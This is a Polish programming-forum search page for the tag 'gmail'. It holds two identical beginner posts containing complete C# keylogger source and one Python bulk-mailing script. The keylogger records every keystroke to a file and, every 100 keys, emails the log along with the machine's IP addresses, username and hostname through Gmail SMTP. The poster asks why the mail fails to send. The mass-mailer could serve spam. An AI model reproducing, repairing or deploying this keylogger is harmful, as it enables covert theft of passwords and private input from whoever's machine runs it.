Przeszukaj forum
Pokazuję wyniki dla tagów 'gmail'.
Znaleziono 3 wyniki
-
Witam zaczynam z programowaniem więc postanowiłem zrobić dla siebie zrobić keyloggera według poradnika ale pojawił się problem nie wysyłało maili (próbowałem na gmail) próbowałem różnych sposobów ale żaden nie działa więc jeśli ktoś ma ochotę to tu ma kod : using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Net; using System.Net.Mail; using System.Runtime.InteropServices; using System.Text; using System.Threading; using System.Threading.Tasks; namespace ANKAiKUBAtoJednaOSOBA { class Program { [DllImport("User32.dll")] public static extern int GetAsyncKeyState(Int32 i); // string to hold all of the keystrokes static long numberOfKeystrokes = 0; static void Main(string[]args) { String filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments); if (!Directory.Exists(filepath)) { Directory.CreateDirectory(filepath); } string path = (filepath + @"\keystrokes.txt"); if (File.Exists(path)) { using (StreamWriter sw = File.CreateText(path)) { } } // plan // 1 - capture keystrokes and display them to the console while (true) { //pause and let other programs get a chance to run. Thread.Sleep(5); //check all keys for their state for (int i = 32; i < 127; i++) { int keyState = GetAsyncKeyState(i); //print to the console if (keyState == 32769) { Console.Write((char) i + ", "); // 2 - store the strokes info a text file using (StreamWriter sw = File.AppendText(path)) { sw.Write((char)i); } numberOfKeystrokes++; // send every 100 charagters typed. if (numberOfKeystrokes % 100 == 0 ) { SendNewMessage(); } } // 3 - periodically send the contents of the file to an extrenal mail addres } } }//main static void SendNewMessage() { //send the contens of the text file to an extrenal email address String folderName = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments); string filePath = folderName + @"\keystrokes.txt"; String logContents = File.ReadAllText(filePath); string emailBody = ""; //Create an mail message DateTime now = DateTime.Now; string subject = "Message from keylogger"; var host = Dns.GetHostEntry(Dns.GetHostName()); foreach (var address in host.AddressList) { emailBody += "Address:" + address; } emailBody += "\n User: " + Environment.UserDomainName + "\\" + Environment.UserName; emailBody += "\nhost" + host; emailBody += "\ntime:" + now.ToString(); emailBody += logContents; SmtpClient client = new SmtpClient("smtp.gmail.com",587); MailMessage mailMessage = new MailMessage(); mailMessage.From = new MailAddress("jakiś.tam@gmail.com"); mailMessage.To.Add("jakiś.tam@gmail.com"); mailMessage.Subject = subject; client.UseDefaultCredentials = false; client.EnableSsl = true; client.Credentials = new System.Net.NetworkCredential("jakiś.tam@gmail.com", "Hasło123"); mailMessage.Body = emailBody; client.Send(mailMessage); } } }
-
Witam zaczynam z programowaniem więc postanowiłem zrobić dla siebie zrobić keyloggera według poradnika ale pojawił się problem nie wysyłało maili (próbowałem na gmail) próbowałem różnych sposobów ale żaden nie działa więc jeśli ktoś ma ochotę to tu ma kod : using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Net; using System.Net.Mail; using System.Runtime.InteropServices; using System.Text; using System.Threading; using System.Threading.Tasks; namespace ANKAiKUBAtoJednaOSOBA { class Program { [DllImport("User32.dll")] public static extern int GetAsyncKeyState(Int32 i); // string to hold all of the keystrokes static long numberOfKeystrokes = 0; static void Main(string[]args) { String filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments); if (!Directory.Exists(filepath)) { Directory.CreateDirectory(filepath); } string path = (filepath + @"\keystrokes.txt"); if (File.Exists(path)) { using (StreamWriter sw = File.CreateText(path)) { } } // plan // 1 - capture keystrokes and display them to the console while (true) { //pause and let other programs get a chance to run. Thread.Sleep(5); //check all keys for their state for (int i = 32; i < 127; i++) { int keyState = GetAsyncKeyState(i); //print to the console if (keyState == 32769) { Console.Write((char) i + ", "); // 2 - store the strokes info a text file using (StreamWriter sw = File.AppendText(path)) { sw.Write((char)i); } numberOfKeystrokes++; // send every 100 charagters typed. if (numberOfKeystrokes % 100 == 0 ) { SendNewMessage(); } } // 3 - periodically send the contents of the file to an extrenal mail addres } } }//main static void SendNewMessage() { //send the contens of the text file to an extrenal email address String folderName = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments); string filePath = folderName + @"\keystrokes.txt"; String logContents = File.ReadAllText(filePath); string emailBody = ""; //Create an mail message DateTime now = DateTime.Now; string subject = "Message from keylogger"; var host = Dns.GetHostEntry(Dns.GetHostName()); foreach (var address in host.AddressList) { emailBody += "Address:" + address; } emailBody += "\n User: " + Environment.UserDomainName + "\\" + Environment.UserName; emailBody += "\nhost" + host; emailBody += "\ntime:" + now.ToString(); emailBody += logContents; SmtpClient client = new SmtpClient("smtp.gmail.com",587); MailMessage mailMessage = new MailMessage(); mailMessage.From = new MailAddress("jakiś.tam@gmail.com"); mailMessage.To.Add("jakiś.tam@gmail.com"); mailMessage.Subject = subject; client.UseDefaultCredentials = false; client.EnableSsl = true; client.Credentials = new System.Net.NetworkCredential("jakiś.tam@gmail.com", "Hasło123"); mailMessage.Body = emailBody; client.Send(mailMessage); } } }
-
Nie dochodzą emaile do masowego wysyłania emaili z gmaila i zezwóliłem dostęp do aplikacji i włączyłem imap i pop.Oto kod: import smtplib with open("to.txt", 'r') as f: maile = [a.strip() for a in f.readlines() if a.strip()] print(maile) gmail_user = '' gmail_password = '' sent_from = gmail_user email_text = 'tekst' try: server = smtplib.SMTP('smtp.gmail.com', 587) server.ehlo() server.starttls() server.login(gmail_user, gmail_password) for x in maile: server.sendmail(sent_from, x, email_text) except: print('Hej')